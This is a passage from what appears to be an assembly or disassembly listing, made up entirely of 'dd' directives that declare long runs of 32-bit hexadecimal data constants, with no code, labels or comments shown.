		dd 3F1ED49Ah, 1FBF3D6h,	51C80402h, 0AA8DEBA8h, 0A643416h
		dd 7ACC0015h, 54626C44h, 96BDFB28h, 93A7CFB0h, 9747E571h
		dd 5A44BC1Dh, 24D51EA9h, 0DDD8EAC9h, 79437D5Fh,	0D3E9DCAFh
		dd 0BD4DF80Dh, 0FD503B8Eh, 9673E3D9h, 0F655A04Bh, 514C4535h
		dd 0C6FE98EEh, 5BA307E6h, 82A3451Ah, 0E70FECE4h, 5C0F60F1h
		dd 0EABDCC9Ah, 3057AE43h, 0B8D51720h, 499AE00h,	59C67D93h
		dd 781E430Ch, 8B3F1096h, 475D83FDh, 1AF08AA4h, 983BE054h
		dd 47EBE404h, 0C9CAD321h, 0EC81C7FBh, 0CB281A9h, 0D26AEF6Bh
		dd 9BC3B826h, 1CC3AA11h, 953EFEA0h, 0EE42F7C3h,	23B0B8C3h
		dd 3409801Fh, 0F648BA4Fh, 9EB47007h, 95A41A85h,	0E03B9A82h
		dd 0DBD5D5A2h, 541B4380h, 2DEDC147h, 15B973Dh, 7D3988E2h
		dd 6500E9FFh, 1E6413FAh, 0EEA9DF51h, 813B0CD9h,	0DAFA0001h
		dd 4C858AA2h, 0F7D47094h, 0AB806C82h, 10B71252h, 8F6F0276h
		dd 0EDA007A5h, 3CE7AB97h, 79222E1Fh, 0F2531693h, 5729E108h
		dd 27110872h, 80E52DCCh, 0E7833A92h, 7FCA9EACh,	0C518D758h
		dd 770FB675h, 0FBD4EF3Eh, 6DD0CACEh, 0EAC76577h, 0B9D9D281h
		dd 0D1C3D0B0h, 0C33AE9B7h, 0C9AFBCADh, 15A45D86h, 760DABBDh
		dd 0D32D4957h, 51FD6FA0h, 480C3217h, 0BF6E3CFh,	0D44D4D12h
		dd 14632B66h, 625A63FEh, 4318864Ch, 26956F37h, 0F76A6257h
		dd 0D0458B5h, 0D6C011AAh, 1635C661h, 85A23D70h,	925FCD0Eh
		dd 619399C5h, 57BCDF71h, 57AD0A38h, 1E2DF8A8h, 25F18124h
		dd 2F27D97Ah, 5688E886h, 1118A8FBh, 81630479h, 5DB2F234h
		dd 66AB8D98h, 0C66EC83Dh, 2530E993h, 7AA80D67h,	0EBF16D9Fh
		dd 3F52B59Ah, 82E9919Ah, 412E34A0h, 17F6AB6Dh, 0B094C27Bh
		dd 9C443655h, 26D0F7E9h, 0A6F2F3A0h, 38DD7E2Ch,	0B9821E84h
		dd 0E99970DFh, 6BDB820Fh, 2AEB6F3Ch, 457E397Ah,	0FFC94079h
		dd 0FC3B9427h, 267F2B88h
		dd 0B9FC199Ah, 3CA02C05h, 0F43191EFh, 0ED633FA6h, 0DFAD815Ch
		dd 0CF05D524h, 1E34501Dh, 0B64B998h, 881B2F6Dh,	0CD37F696h
		dd 0A2348B66h, 0FC78F293h, 45DCA5A7h, 0D0722C35h, 0B6ADB60Eh
		dd 0EC20A6E2h, 8D460B5Fh, 155FBBA6h, 81F99D96h,	0C010757Eh
		dd 7B6DA669h, 0A384D407h, 0CF510F27h, 8D2B4C49h, 558C948h
		dd 6FF75A4Ch, 21BBC2B7h, 5FA6415Ah, 0ABD1B1A6h,	0FFDAC6A6h
		dd 0E7F0098Dh, 0C177FF5Ch, 2C4667C4h, 0DA9741A6h, 0F2E48DFFh
		dd 3E288638h, 0C9BA5DBAh, 1B1C2543h, 0C4348ECDh, 0D1C89F67h
		dd 822B0266h, 3A20768Ah, 5BEFE4D2h, 0D33C6224h,	0DCF49082h
		dd 0F1319631h, 8B637ACh, 0E45B80ACh, 0D7FE0FE6h, 4256E859h
		dd 61D094E3h, 9B77DBDBh, 0F4E9FB32h, 0F2EF6CD3h, 62702C65h
		dd 5B88FDF7h, 8EC2E116h, 64D32CEDh, 0BBBBF5CEh,	92338F91h
		dd 0C5E9A403h, 924437A1h, 0F896711Eh, 0C78D0FC0h, 0DD45ED02h
		dd 22B3EA15h, 2F3B4AD9h, 55F0C9E8h, 40D889C9h, 8A5F3F2Bh
		dd 8F53CE00h, 4E840831h, 0A7C1974Bh, 581F6F22h,	0D89809AEh
		dd 445424E2h, 0BCF10536h, 0D4C1944Fh, 0F773F1E8h, 4847A1BDh
		dd 747AFEACh, 50695B07h, 1D8509C6h, 51D494DBh, 0BC4BAB42h
		dd 4CF49C9Bh, 3B475BEAh, 4FCF0822h, 0C3A4FBBCh,	6CE725C5h
		dd 8FEEB3C4h, 4B416D41h, 2E38EFDBh, 3BC6B626h, 2D07F963h
		dd 0A7FD3B6Eh, 0F27E614h, 6D27839h, 0B155F3A1h,	0A304E7C0h
		dd 0CA87A232h, 0A72B1FE0h, 1F724F7Fh, 94B91E1Bh, 0C43D6BC8h
		dd 5CBBCFF5h, 311BDACCh, 7E7C0316h, 0FC45F9C0h,	45673924h
		dd 45F8FAABh, 81C0D5F5h, 0DFDEF91Fh, 73800406h,	9D5A359h
		dd 0B34D10B6h, 5C7EC744h, 8DD840A9h, 394EAEAAh,	0AB9318Bh
		dd 9E4BF5C2h, 74079DCDh, 0FC392C64h, 0B7B91E3Eh, 42F66928h
		dd 45C981E8h, 0FBC36FEBh, 155C52ADh, 7B74BA3Eh,	0ED067E8Ch
		dd 0F69C41C0h, 0F88A76BEh, 6CDCF67Ah, 0A01C35F1h, 646B9075h
		dd 0CDA6A9C7h, 0A6E83C54h, 2754795h, 0B2D07C63h, 9C7480A9h
		dd 0C8BDA8EBh, 55142345h, 9305920h, 5638F12Ch, 0C9E10A77h
		dd 0C65BB127h, 55C729EAh, 7B07A58Fh, 756BB211h,	20F40FA7h
		dd 0E5A87CDDh, 2FFB5AF2h, 4ACA7394h, 2040103Eh,	0BC41B8C1h
		dd 0ABE4A979h, 7D2C9F6Eh, 0D16CCDECh, 0E17493FCh, 0C9A2937Ah
		dd 5865F5BEh, 0E245F354h, 5157DB92h, 0BFDDEB17h, 0FB8C2042h
		dd 2624C8E1h, 0FE293F36h, 94E6AD0Dh, 1CB1B3A7h,	0E0BA1A75h
		dd 6A2C1F81h, 0E64D71BEh, 0F89BF1DAh, 603C932Bh, 1166A157h
		dd 0EA6E8B5Dh, 2373E2EDh, 52535A9Eh, 0C7D9F3Dh,	6E60CBA9h
		dd 0FA4E8081h, 9603C856h, 0F13A96AEh, 9DAF380Dh, 4C111F45h
		dd 8862BBDDh, 0B7211474h, 0FE879CA6h, 7A032C90h, 0DE0ADF3Ch
		dd 0CBAE6CD7h, 8F850058h, 0A25C9F17h, 8CFF808Fh, 9CD5BA14h
		dd 0B6CD34A0h, 0A19779BBh, 5348CCCFh, 377108B8h, 0C847B443h
		dd 4EB3CA17h, 0E86DEB8Dh, 0A8A02ECEh, 0A8EFB11Dh, 0D03949BBh
		dd 64172A96h, 0A8ED0AB9h, 570F1352h, 0CDA8430Eh, 0EF9662Eh
		dd 0E9C7880h, 0B08CBA03h, 9427FC72h, 4890DBC8h,	0FABC5B73h
		dd 0FF7E3CDFh, 0F99E903Fh, 26BC1917h, 95616D5Eh, 6A7C1732h
		dd 0BBE3228Eh, 0E87D0430h, 8E56B777h, 658D3F6Ah, 0C5B0A504h
		dd 0AC7ADB10h, 94A0E266h, 50C03663h, 20C4C610h,	57CADAC1h
		dd 0D19B7EE0h, 589ED4Ah, 21A53177h, 9145D922h, 337F75B2h
		dd 106B7E1Ch, 742C3D89h, 0C8C64494h, 0F8EFEC2Ch, 0C953830Dh
		dd 63A1B294h, 0B7732DCAh, 0E7B008Ch, 0A5552E78h, 0A911B065h
		dd 2929ECE6h, 23E8EFBEh, 24D83CEAh, 0F26C5806h,	40C466A6h
		dd 89E5A1FAh, 516B826Bh, 0E9E3E3EEh, 0B91532D9h, 7437A56h
		dd 0F95C1C3Eh, 0E556843Ah, 33A6272Fh, 0CE5D5CEh, 9CB70074h
		dd 80F15F82h, 0D8C3301h, 7E04E69h, 85922B6Dh, 4043BE21h
		dd 7E4CF441h, 52BD88F9h, 0B1FFC824h, 80A7014Ch,	16A7C9C3h
		dd 0DD2D07C1h, 9CACCBA2h, 178E0E51h, 0DEBCC754h, 0A5A31830h
		dd 71929BDEh, 4AD96AF7h, 0AE7056F9h, 0AADF99B7h, 23A179FFh
		dd 862D8519h, 0F6831E83h, 518A18E3h, 4DDDCCECh,	0C0366B15h
		dd 0E0B78905h, 9587A1F5h, 0DA3FB0EDh, 36F22033h, 0E6D72B72h
		dd 2423BBFDh, 0DF7304D5h, 90EFDCC0h, 0E8B49A09h, 0DCAEFBFh
		dd 5B06796Ch, 0CC6A4B34h, 0CC630A1Ah, 4B45D8C1h, 38AF4C36h
		dd 50F663FBh, 2F1927D3h, 0CDF0F1C8h, 0F52D66Ah,	5C3A286Bh
		dd 537E24D3h, 8FCEA2AAh, 4E7527F5h, 45CFDFF4h, 0BB11956Bh
		dd 0C4BCE842h, 360146CEh, 320FBFC5h, 0B91AE158h, 2CEE1CDh
		dd 7974518Dh, 89B7F4C2h, 0A12E73DFh, 0C78A0F79h, 9BB27F38h
		dd 0B0A64D39h, 84B1905Ah, 0F6AF0539h, 0E45FA11Bh, 24665858h
		dd 8F5B16B4h, 421675E0h, 1B455AA8h, 9788839Bh, 0C6CD536Eh
		dd 0B78B8C7Ah, 53038B31h, 0CA31172Eh, 0A146E07Fh, 71C4D1AEh
		dd 94A580C2h, 41610D43h, 3AE5720Dh, 46CAF97h, 9E61C70Fh
		dd 0B75D1C7Bh, 2EFE73DFh, 0E208F785h, 0E4CBFABDh, 47E23A83h
		dd 523757BDh, 94C8910Ch, 9C4D6693h, 5FF326A2h, 4A69F7E4h
		dd 7D1C2B80h, 46B938AAh, 0B4F62E69h, 2D7EA9C1h,	0EA190BF8h
		dd 68B210AEh, 0B447C04Bh, 9746FF08h, 0DC9626FCh, 98A9D1Fh
		dd 0D11CA3CFh, 0AEBA70AFh, 1BB39EF8h, 4179DEDDh, 4938AE35h
		dd 0B6C3C5CDh, 0F7D159E7h, 6ED962EAh, 4DD3A747h, 1FE4108Eh
		dd 0AE612663h, 0BCBAFFF6h, 287D1953h, 0CF51E659h, 0A3855BD4h
		dd 2942F2A9h, 24720D6Ah, 2DD0DE38h, 0C10C0155h,	606154E4h
		dd 88CCF217h, 0BC1F274Bh, 7E6FF6C5h, 4AEA5332h,	7DFD7AF1h
		dd 5823C3CAh, 6DDBA43Ch, 5B2A27FCh, 2AB765C1h, 0D4BEFDAFh
		dd 44804CB3h, 228ACC95h, 46D35957h, 50848ACDh, 9FC78197h
		dd 596BCF5Bh, 0B3A3F13Eh, 912C2A7Dh, 76C4B60h, 0B2F94EEFh
		dd 0B3CE0F79h, 0AE0EA983h, 0DAEB6FD9h, 0C0AFED65h, 4D780ADBh
		dd 0B6A49401h, 0F101960Ah, 650416E0h, 0F5BE5DC4h, 0C045FD39h
		dd 0DA1C21D0h, 17E00198h, 320CA113h, 0D7E31EBBh, 8B8B57BFh
		dd 6392A7Dh, 0D7F92AEBh, 6D2D01A0h, 32102017h, 0D18A97FBh
		dd 695B3806h, 84893FAEh, 0C03080CCh, 0E69B60E3h, 443D5DE8h
		dd 0F1CF04ACh, 0D78F989Dh, 60DF29DDh, 3842BFADh, 0D7A3B91Fh
		dd 0DA23F07Ah, 483B60A4h, 4241F39Ch, 64499A66h,	64824128h
		dd 8A2CB173h, 0BB3CEF8Bh, 0C373DB14h, 0EF02760Dh, 0D8B72943h
		dd 821F5885h, 49C955C1h, 97C3B32h, 8EECB880h, 450A92E3h
		dd 0F70DB102h, 98707496h, 0A7F180B6h, 0F6EE4AECh, 0A58C6AFFh
		dd 99EB2384h, 66D04E47h, 8B9DB507h, 5FA0CE20h, 8450025Ah
		dd 24CED4A2h, 0D12C5B3Ah, 9767C197h, 85232E78h,	4BBF7980h
		dd 0E276AB49h, 55C6E9CDh, 0BF6A28C8h, 33CB40B7h, 38172BB2h
		dd 3749419Ah, 70F6F4A2h, 76A7C8B6h, 0EC3357D7h,	0F4E609ADh
		dd 3B930E78h, 31F5815Bh, 1C4B6299h, 30CB4DBBh, 49762314h
		dd 285E2FB9h, 0AE5C97CFh, 72BE213h, 18EA64B6h, 0AFE7D9Eh
		dd 0E715797Fh, 0BB28D6BFh, 4BCAA620h, 517CE26Dh, 86FCAFBFh
		dd 2913CC25h, 146FB1C9h, 0DCAC549Fh, 0BF12716Ah, 0F28AC359h
		dd 52B7226Bh, 0EF290573h, 0B3ED60EFh, 0D5747262h, 9613594h
		dd 0BCE16EDDh, 3EE5429Ch, 45879E98h, 210C361Ch,	2A703703h
		dd 2BF92E21h, 6BD1D14h,	56AE8DB6h, 0EE57304Bh, 6FB31785h
		dd 0C21D4B0Ah, 0E4A80A03h, 786EB5C2h, 0CBC93FAFh, 459DDAF9h
		dd 0C48DA26Fh, 86523550h
		dd 0AB50A6B8h, 0AB46364Dh, 0D5EC2381h, 0AFB7D30h, 0EB7A7CF0h
		dd 1FBBE347h, 852AFD13h, 4DDA6746h, 0C26C3D36h,	890A188Ch
		dd 0FF916260h, 0EB7FE322h, 0D5B9FB7Dh, 0B855FEF7h, 0F54F166Ch
		dd 0ADF917BBh, 7B4B2E4Fh, 0BFD742FFh, 73F438D2h, 96074610h
		dd 0BCB5E65Dh, 183A43B2h, 0C8461A6Ah, 27F25289h, 958276DFh
		dd 517FF1E1h, 56BB9697h, 0C01E71Fh, 36079EAFh, 273B5A25h
		dd 51D94EEDh, 80662041h, 81816DE2h, 95B06A95h, 5D65F3D4h
		dd 4960D38Bh, 0F5FA1D4Dh, 0E49C2643h, 0F7B117FAh, 3B716941h
		dd 0D67CBCDAh, 5D1FCCF0h, 1BB5CD0h, 3D1F608Ah, 0ED1E0691h
		dd 0AD2F12BEh, 0C402E937h, 907E6FE6h, 9F387E9Fh, 0C014DE08h
		dd 0AFFE8878h, 113FE904h, 0FAB8006h, 0EC884201h, 0DAFAEAh
		dd 0D6E6083Bh, 9F7CD7AEh, 0A302AA60h, 56009F61h, 3A3F882Ah
		dd 0AE139C43h, 2CDAFF13h, 226281A7h, 67BC6975h,	283AB5E1h
		dd 11BC3208h, 35135F8Dh, 48286D6h, 4FDFC2C1h, 0FF94EB7Eh
		dd 1BF57D90h, 8DCA956Ch, 0AAFAAE3Fh, 119B53DFh,	62F4D5BFh
		dd 0A8CFE52Ah, 6DF73A7Fh, 7A5CC80Dh, 95CB172Fh,	0A365566Eh
		dd 5B993D52h, 6AC7955Ch, 65A711C9h, 0C0A18C03h,	669ED121h
		dd 0BB7CC946h, 353166AFh, 655F980Ch, 0B32269FCh, 0FE890B27h
		dd 0DF139193h, 847E08FCh, 45DD641Bh, 0C6BDCA6Eh, 976498CBh
		dd 60FE72C2h, 7806A3A5h, 229E935Bh, 7E4B8007h, 17A26D6Ah
		dd 0A03F3F4Ch, 1B69C340h, 24282E64h, 0C2CD01D0h, 9BD6B6A4h
		dd 48624CB7h, 0E0A28E92h, 0A495F7F9h, 911FA0DBh, 0D6272569h
		dd 0CEE8795Ch, 84FDF45Eh, 9ED772EBh, 0EAFA48C0h, 50F305A5h
		dd 0BC9B47D7h, 0D528E942h, 0FF608313h, 8F988A2Ah, 1948F0A9h
		dd 0C67BE593h, 866A8A73h, 69E3D0CEh, 505D8F53h,	898623DCh
		dd 3ACE4F16h, 0C2723595h, 422551ACh, 0F8BD79F8h, 684636CDh
		dd 22D56CD3h, 6127DDA5h, 0E888F7Ah, 1EB35E01h, 0C796A5Eh
		dd 0BF735BB6h, 7EBD34ABh, 0B8E0932Fh, 266181FDh, 0F8DFB5CEh
		dd 67781374h, 8B6D5704h, 0D613A15Bh, 9258CF45h,	0D7285CB8h
		dd 1CB80D38h, 0D22B53FEh, 0A02169C4h, 2EBFDF5Fh, 78B2DEF8h
		dd 9A5AE7B4h, 79F22893h, 5345CABh, 0F2C978ECh, 0D766ED2Dh
		dd 957385Eh, 9A9884B8h,	4C4EE086h, 700D70D4h, 693EB4AAh
		dd 3FCBA560h, 0AC26695Ah, 329DE33h, 334B0294h, 0A4558261h
		dd 886832B3h, 0BDF4C423h, 2C2E841Ah, 4A5D84EAh,	20A9AA43h
		dd 46CB3D6Fh, 89E44ABEh, 0E748D377h, 0A79AA023h, 5226A04Fh
		dd 0B20CB6C5h, 73F2C4E9h, 0B0CADE4h, 69E1282Dh,	40CAAA5Bh
		dd 19C2121h, 2DA45B4Ch,	58EEEAC6h, 21B45ACFh, 85B964B7h
		dd 0E013279Bh, 0CD1A0AA7h, 0E2372122h, 2CB41F4Ch, 674527E1h
		dd 0B07370D8h, 0F298265Ah, 0CB026743h, 0F737C5E0h, 0EFFDD890h
		dd 0C82FA07Bh, 9B97BF23h, 80224A11h, 99C48E70h,	0E01EE8Ah
		dd 0EBEE29B5h, 0D20067B6h, 0EA19C680h, 16DB6863h, 1358C15h
		dd 53298CDh, 18579F4Bh,	0D1B56280h, 0FCAAF422h,	48D3C6C8h
		dd 14B6A629h, 70AD57B9h, 9ED14D1Dh, 0D52F6550h,	0E0744B41h
		dd 0D754441Bh, 0A1B19D5Ch, 0CC20455Fh, 28CF5EC5h, 9C022A1Eh
		dd 78D62B69h, 3169AC05h, 9AA97BBAh, 0C3C10354h,	8CF82ABFh
		dd 5FACA408h, 0F7ABCEEFh, 5CBB34A9h, 0BD09DE25h, 83522DB8h
		dd 6914247Fh, 932EEB1Bh, 219525A0h, 0B72CA7F1h,	0E6EE56C8h
		dd 0C5484E09h, 0CF8E7467h, 481995FCh, 3B186645h, 0D1E3F968h
		dd 9EAFAA1Ch, 352EDA5Dh, 5158FC4Dh, 890B6158h, 3F3DC6EBh
		dd 0CE733043h, 9835FD3Bh, 939BCA44h, 6AFB21A9h,	0D06F5BE1h
		dd 0D470EB62h, 40E4FC0Eh, 84453649h, 0CEAB2C94h, 1FF88C84h
		dd 2BADE5Eh, 0BFDD6421h, 0A8B1D913h, 3346B354h,	0BACDE747h
		dd 922C88D1h, 0E8649ECBh, 0CB9957C8h, 4CF250EBh, 0A5E00674h
		dd 62CF97A3h, 8F1A8C2Ch, 5506F16Dh, 0AA3D3EEh, 0F80DDE1Ah
		dd 6FEFAC56h, 0DF240A54h, 0CB0B0742h, 48F9B87Dh, 0F08F0630h
		dd 1940140Fh, 638BF452h, 165CBD4Dh, 332206A2h, 94405499h
		dd 0C10C65DCh, 2323543Ah, 0ADE79B71h, 0BEFBEFF1h, 0B20E87Dh
		dd 0C655D539h, 7FC9586Eh, 0C425502Ah, 2731EFBDh, 1C05188Ah
		dd 801E8FE7h, 0B811623Eh, 391E7A74h, 0AFDC4BD8h, 50DA9033h
		dd 0D8025D49h, 0C800BCE0h, 0F8C8F8BFh, 0FF838E56h, 988B4E63h
		dd 2030F7AAh, 0BF47B80Bh, 0C1E6E554h, 0DFAC13Dh, 0E834F40Bh
		dd 4DCD5964h, 0AFE74473h, 16FD3E8Dh, 277E0903h,	5AD6747Fh
		dd 1ED9F6FDh, 0F98D64C5h, 5B790A7Dh, 2F6A0094h,	7AB6CAFDh
		dd 3376C830h, 50CB526Fh, 24D364DAh, 0BAAC39C8h,	0F4A598C9h
		dd 30CEC4D6h, 111FDD05h, 0D63D6A54h, 7A6CAF77h,	0B5E9A01Bh
		dd 17E2169Ah, 3E81B9FAh, 34612C45h, 36ACF420h, 6238B9B2h
		dd 0D67D302Bh, 0ADDA17B9h, 3B03565Eh, 0A3306A66h, 5A060107h
		dd 372E600h, 0C7509B6Dh, 628122E6h, 84EDCFC4h, 0A5CF1C11h
		dd 0B2F72587h, 5AF61864h, 1EDF3041h, 26A71A0Dh,	48BF4C43h
		dd 0B92E9BA0h, 3FD9C9AEh, 8AC1D46Ch, 0BE1F2AE7h, 67BE95D3h
		dd 23DFAB3Fh, 0B81FC4C1h, 12D36CA3h, 0A4014928h, 5A3E51A6h
		dd 4401B3EEh, 0F7468A37h, 0E9DC5616h, 38229E89h, 9DD2E4C7h
		dd 0B55608FAh, 2A83CA4Bh, 9FC9C304h, 9A67D5DFh,	90A6E694h
		dd 0FDD4FAEh, 228C9435h, 925AAF4Fh, 0E10A5E90h,	0F046D85Eh
		dd 925C1972h, 93A3BCDDh, 465A0DCAh, 0DE157BA4h,	3A113154h
		dd 8A6847C5h, 915976DDh, 0D7CA0810h, 0B795CF62h, 0EEEF9611h
		dd 0B3A5028Eh, 0F2C53B86h, 3F92154h, 0AB206712h, 515F3558h
		dd 0C339C5Bh, 7AC6CF64h, 85CCB274h, 83A01249h, 0C3C2C87Ah
		dd 8306A99Dh, 1B9E7DCEh, 0BEC35241h, 4469C353h,	8696A7FEh
		dd 71B2600Fh, 423127C5h, 7224EF3Dh, 8D7C43E6h, 0FE3EBE6Ch
		dd 0C97C0851h, 0CB2EF6D0h, 0D6A752E4h, 7D4E45D6h, 90E4FE6Eh
		dd 6EBFC088h, 4412D76h,	6A937264h, 2AC145C7h, 97DD3B0Dh
		dd 0E152049Ah, 7B4CC383h, 0B855BE27h, 0F7076F1Eh, 0C62E7F4Bh
		dd 0F02E5F53h, 34A760EAh, 4AA8FF5Bh, 0CDEC6C89h, 0E5AA69E1h
		dd 0E971164Fh, 9CC34691h, 0F28C0E8Eh, 8EC463BFh, 0BF4C2D28h
		dd 0E75D2016h, 65CD4CEEh, 0AAC13030h, 95E7C081h, 0AC359049h
		dd 0B0C7607h, 0E560CFF4h, 340CAD4Eh, 0A89A178Eh, 2A23E8A6h
		dd 5DFEA911h, 5380BF76h, 0ADB315h, 0F1A993E6h, 0C9B99574h
		dd 0C3CB0A97h, 0BA1E6172h, 0F08A918Bh, 0B48C5768h, 54D76957h
		dd 75B7C23Ch, 1696B4AFh, 0AC7DDC6h, 1DD40F23h, 0EF29D8B6h
		dd 0DA133666h, 0C5D16666h, 4B5B2175h, 615DF599h, 8ED5B1E8h
		dd 848C450Eh, 31DF01EFh, 8D5FFAAFh, 6552381h, 0C0A0D594h
		dd 0F418A7E1h, 74EC713Eh, 529F5855h, 48FBA4D6h,	0A6FB0F1h
		dd 176A5706h, 0DF9EAE5Dh, 0B37232D1h, 0AEA32C9Ah, 0DA86D6CBh
		dd 0B6CCCC59h, 2B79413Ch, 0FF5FC410h, 605C426Bh, 5CBE50F1h
		dd 4EF06E9Eh, 0AF6C1E45h, 85968239h, 50AA8AA6h,	0C599B7BCh
		dd 2DA26888h, 0D874A5CFh, 0D8A0FFF8h, 0F261B8F8h, 0A3D0F273h
		dd 4D5F4475h, 0A10B03E7h, 8173E491h, 2CC46F56h,	0D241783Dh
		dd 803E1982h, 0D8524094h, 205BC041h, 0FEB95385h, 4CDDC2A2h
		dd 97D1F601h, 0A229BAB0h, 0BBA19013h, 790C0F2Eh, 5EA52E87h
		dd 0A779E16Dh, 0F3B8C4BEh, 7926725Fh, 0A9D12901h, 8E2FD605h
		dd 3302142Fh, 5B014CE8h, 0C037482Dh, 0D345C305h, 0D4708463h
		dd 0AEB9E97Fh, 38501141h
		dd 9D73C0DAh, 0EB3EED50h, 0C0C27D77h, 5F549914h, 86114A01h
		dd 0CF686740h, 0EF186877h, 852174A9h, 0EEC29E96h, 2D58C3A0h
		dd 2F5ED190h, 3E23D920h, 0A0A3604Dh, 93393233h,	0B2EB6F8Dh
		dd 0E8F678F0h, 76F11368h, 0EA857962h, 0C9141063h, 0F16E0376h
		dd 6EF7D45Dh, 0F447E2E2h, 0E8E1684Bh, 8F9DAA87h, 5CDFFBACh
		dd 0E8AC6EAh, 714E923h,	1BA4D4B6h, 26C1A52Dh, 780BDFFBh
		dd 221862D3h, 160E3914h, 430FED71h, 0A8B7999Eh,	53BBB079h
		dd 62E22FBFh, 818FDBEDh, 0DCB44AF6h, 82B0F495h,	6CFF20E9h
		dd 668B8FA3h, 1FA4DF14h, 0D4336734h, 1ACFF4C1h,	0C587BB23h
		dd 0E5E99B5Eh, 3D9FB3CFh, 34A82667h, 1D58B1CBh,	412291Fh
		dd 0F9C074E2h, 0CD0F62BFh, 33D1F35Bh, 4E5B5540h, 92A2ECB4h
		dd 53E1C08Ch, 0E003163Fh, 0F7CA38E7h, 4AD29A8Ah, 66E0818Fh
		dd 5DFD189Eh, 68765BC3h, 62009A33h, 99CBB994h, 0A1AD4C96h
		dd 0F2A1BC7Fh, 9EA7BB6Bh, 7F75CC79h, 0E81A415Bh, 0C6380602h
		dd 4C85295Fh, 7A7A1CECh, 89C9A368h, 0A3077548h,	0ABC64CD5h
		dd 5890A13Dh, 3E86A141h, 0F0596D82h, 61ECD5F3h,	7C3EB35Dh
		dd 733BB821h, 0B26167Dh, 33C99A5Ch, 8DA8FE82h, 54D38980h
		dd 0EA701810h, 8E273346h, 23FBAE37h, 0B57461FEh, 882E2674h
		dd 6F7B1008h, 4F540DB1h, 0E3D02F38h, 0D597C182h, 8C5A1323h
		dd 0D83CCA46h, 0C94FEC01h, 1DA445E5h, 0C4C79F4Ch, 22C2109Dh
		dd 40D8CF15h, 2B2E0174h, 23A6CE54h, 2004735Ah, 7ECE083Eh
		dd 8BBDF99Ah, 669379EBh, 3B282D15h, 763FB63Ah, 3DB45A7Dh
		dd 6C1DA1Eh, 0D14B9949h, 45FB3B32h, 0F1009225h,	1125E57Dh
		dd 0C032DC9Bh, 0B37C3F6Ah, 44E5FA1Fh, 13A2DD47h, 0BDEE9D7Bh
		dd 0B499571Ah, 78CA0B33h, 6C264AB4h, 0D87F9155h, 58444BD7h
		dd 237373C4h, 0BBD64BF3h, 0B80FF0EEh, 0B0747D5Fh, 737B59FBh
		dd 0D8EF26B2h, 0F7F66228h, 0FA4AB013h, 238A102Eh, 88BA3710h
		dd 257667Ah, 827E400Bh,	9A10EF12h, 0DDB5DDDDh, 0AB7721ECh
		dd 12C7183Ch, 30199B44h, 4F5E41DCh, 8790E700h, 761C8408h
		dd 0AFCE0712h, 6CD96CF6h, 0EE372B4Bh, 0FE510E3Ch, 73FD93E6h
		dd 0EA8019D4h, 824964ECh, 0C9EC1AC7h, 84360E45h, 34D54427h
		dd 0A7941BE2h, 29FDD6A9h, 784CD78Dh, 29D002Ah, 612C0928h
		dd 910D2ADFh, 3C7FD85Bh, 0C303B0DCh, 75B31A76h,	0E56294C2h
		dd 722FB3Ch, 0E3F169BBh, 0BB1CF5F5h, 7F61FD50h,	0F4392DC1h
		dd 6647E5B1h, 0D7AEF1DDh, 8855BDE9h, 114B2702h,	7B4CB554h
		dd 94062F5Dh, 0D8B767FEh, 557FD04Dh, 0FF4EEF2Ah, 2F07CC92h
		dd 46F6F73Dh, 7AE8C23h,	0EFD0FC5Dh, 62C2B38Ch, 0DD86E351h
		dd 2F049402h, 0AA3834F4h, 75CEDEE9h, 0A5EDEB14h, 1E5EAAB5h
		dd 7998B327h, 0CDB88EF4h, 7FFEE251h, 39FED62Eh,	58BCFC87h
		dd 191E8492h, 4B4CB743h, 0E1D9F3CEh, 822AB9BBh,	86FB2D46h
		dd 7586EC7Dh, 6450B495h, 52CBB7F9h, 0DF9CE427h,	0CD815019h
		dd 3139E75Fh, 480A42F9h, 9F462087h, 219D6BF9h, 674F00E2h
		dd 0E590A4B0h, 3C09B234h, 994364CAh, 20EC2DDAh,	0E091F413h
		dd 5EB467A9h, 13204998h, 0CE888C02h, 0A0505601h, 0CE0C5BA1h
		dd 0B8231E86h, 30B3F449h, 1FFC4B51h, 898F525h, 66057310h
		dd 0BC046BAh, 0E9FD9030h, 9A16BD2Ch, 0E537388Dh, 3FFC3FD0h
		dd 0C9D79709h, 2651DB38h, 0E7F1C82Ah, 0C052B7BBh, 315B502Fh
		dd 64941E9Dh, 3BE8BC7h,	8B05F363h, 0E082EA8Ch, 812103D4h
		dd 59F3488Bh, 9EA8FF64h, 66DB47A8h, 693FA9B1h, 9CEE934h
		dd 2B5930DFh, 0A207B202h, 7629A05Dh, 0ECEFF74Dh, 0CF57FF7Dh
		dd 4C7B0BDh, 3A00DF15h,	0D981229h, 0BAA8D88h, 91CF0A6Ch
		dd 0F3782201h, 0EA95E25Bh, 3BBA1BCDh, 7E27A010h, 0DAE67EE9h
		dd 0C4D5E9E3h, 0F7B9E685h, 7251DE7Ch, 0EC06DE88h, 0B881C0F9h
		dd 378A87C1h, 0E349A468h, 69C50AF5h, 1E904368h,	3C3F11CBh
		dd 0C43A9245h, 34C075ECh, 69834435h, 11806A43h,	0AB82618Ah
		dd 1F9FA8AEh, 3931856Bh, 0A7B66A45h, 470D669Bh,	0CB00D0F4h
		dd 0CB5BB681h, 783D0E9Bh, 58941634h, 0D1FE43E4h, 5E1178C0h
		dd 1B8B0993h, 2E79DF92h, 13C45B8Ch, 2C151425h, 0C342B6C9h
		dd 76A528B0h, 0F09A41A1h, 771AC853h, 0DED7F40Bh, 0C5F8D666h
		dd 2859BDBDh, 67D2F55Bh, 57AC72C4h, 1986DB32h, 8F9AF78Fh
		dd 4AD0AD1Dh, 81ED0A8Dh, 428D0DCBh, 296B3830h, 62C395C3h
		dd 0C5676C52h, 0BD54D179h, 7001B1EAh, 0E274A996h, 0C88896D8h
		dd 146621FEh, 14EC309Fh, 0F125DBDDh, 57A890E4h,	3D02B36Dh
		dd 6842C3E3h, 5E131DBCh, 0F2583C79h, 11739D4Eh,	27C5DBA2h
		dd 0C6E408CBh, 3FD75B07h, 7EC5E990h, 3C75EC80h,	66D1FBBBh
		dd 5FA124Bh, 26BFF8B6h,	9CDA4023h, 0C5BA5824h, 0CAC333EEh
		dd 0B7F655EDh, 3BB8E317h, 0BA95E2E2h, 6732D72Bh, 0BB0C7BE2h
		dd 0E5E92125h, 0F6F445BFh, 709E666Ch, 0F384B737h, 11EAEA5h
		dd 43E8B0C9h, 4208BBEBh, 0D3ACC69Fh, 2F153690h,	0FBD13ED0h
		dd 0D3522010h, 0FEFF2F56h, 0C5B22EA5h, 429F287Ch, 534DA38Eh
		dd 57EA5EA1h, 58CEF675h, 0F720AB89h, 180E071Bh,	0D78C90DDh
